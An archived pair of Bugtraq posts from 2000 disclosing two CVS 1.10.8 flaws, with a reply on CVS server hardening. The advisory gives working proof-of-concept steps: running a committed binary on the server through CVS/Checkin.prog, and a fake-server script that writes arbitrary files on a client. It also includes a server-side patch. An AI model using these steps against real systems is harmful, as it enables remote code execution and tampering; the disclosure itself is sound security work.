5310148 2000-07-28 20:00 /127 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <11961>
Ärende: cvs security problem
------------------------------------------------------------
From: Tanaka Akira <akr@M17N.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <hvou2daoebb.fsf@serein.m17n.org>
I found two security problems in cvs-1.10.8.
(1) A committer can execute any binary in server using
CVS/Checkin.prog or CVS/Update.prog.
A committer can execute arbitrary binary on a cvs server using
Checkin.prog. Usually CVS/Checkin.prog in a working directory is
copied from CVSROOT/modules when the directory is checkouted and it is
sent back to the server and executed with committing. Note that when
it is executed, committed files are exsists in a current directory.
Since a working directory can be modified by a committer which have
the working directory, Checkin.prog may be modified or even newly
created. If an evil committer do it, cvs server executes such forged
Checkin.prog. Also note that the evil committer can create arbitrary
binary file by `cvs add -kb' and `cvs commit'. So the evil committer
can execute just committed binary file by via Checkin.prog triggerd by
the `cvs commit'.
Note that similar problem exists with CVS/Update.prog.
Following example is that a committer sends `ls' binary and executes
in the server. (it assumes that the server and the client is same
architecture.)
% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v
This problem can be fixed by disabling two requests.
--- server.c- Fri Apr 28 15:37:13 2000
+++ server.c Fri Apr 28 15:38:06 2000
@@ -4553,8 +4553,6 @@
REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
REQ_LINE("Static-directory", serve_static_directory, 0),
REQ_LINE("Sticky", serve_sticky, 0),
- REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
- REQ_LINE("Update-prog", serve_update_prog, 0),
REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
REQ_LINE("Kopt", serve_kopt, 0),
REQ_LINE("Checkin-time", serve_checkin_time, 0),
(2) cvs server can instruct to create any file at any locaiton in
client machine.
With cvs protocol, client side paths are processed by server and
client blindly trusts paths in server responses, cvs server can create
any file at any locaiton in client machine.
For example, if a client tries to checkout a module `tst' as:
% cvs -f -d :ext:user@server:/cvsroot co tst
and server includes a dangerous response as follows to its responses,
the cilent creates /tmp/foo.
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
This problem can be test yourself as follows. Although this example
runs faked cvs server using :ext: method, this vulnerability is
available in any methods (including :pserver: of course).
% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh
cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
-rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc
Currently, I don't have a patch to fix this problem.
--
Tanaka Akira
(5310148) ------------------------------------------
5319955 2000-08-01 22:47 /44 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12003>
Ärende: Re: cvs security problem
------------------------------------------------------------
From: "Greg A. Woods" <woods@WEIRD.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20000731133752.B99F796@proven.weird.com>
[ On , July 31, 2000 at 15:02:40 (+0900), Tanaka Akira wrote: ]
> Subject: Re: cvs security problem
>
> I think shell access is too dangerous. If shell access is possible,
> crackers can install dangerous programs to crack other machines. So,
> the assumption is unacceptable for me.
Shell access is not "dangerous" if it's done properly. A properly
secured annonymous CVS server will not be trusted by any other
systems and it will not have enough tools installed on it to to be of
any use to the cracker. Neither will it reside on a network segment
where sensitive traffic passes by. It will be monitored regularly
and automatically for unauthorised use, and the integrity of the CVS
repository it serves will be regularly and automatically verified.
> Hm... I found another one with few hours investigating. I agree that
> it's very insecure.
PLEASE TRY TO UNDERSTAND: CVS is not insecure, _by_definition_!
CVS is DESIGNED *ONLY* to be used by people with shell access!!!!
This fact *MUST* be taken into account by *everyone* who sets up
annonymous CVS servers! I.e. you MUST assume that a determined
cracker will eventually be able to gain shell access to your
anonymous CVS server and you must take the precautions outlined above
if you wish to protect it.
The only potential security problem with CVS is that the manual might
not stress this semi-obvious fact strongly enough.
Perhaps if the inherently insecure cvspserver support were ripped out
of it (it *NEVER* should have been added in the first place!), this
wouldn't be an issue.
--
Greg A. Woods
+1 416 218-0098 VE3TCP <gwoods@acm.org> <robohack!woods>
Planix, Inc. <woods@planix.com>; Secrets of the Weird <woods@weird.com>
(5319955) ------------------------------------------(Ombruten)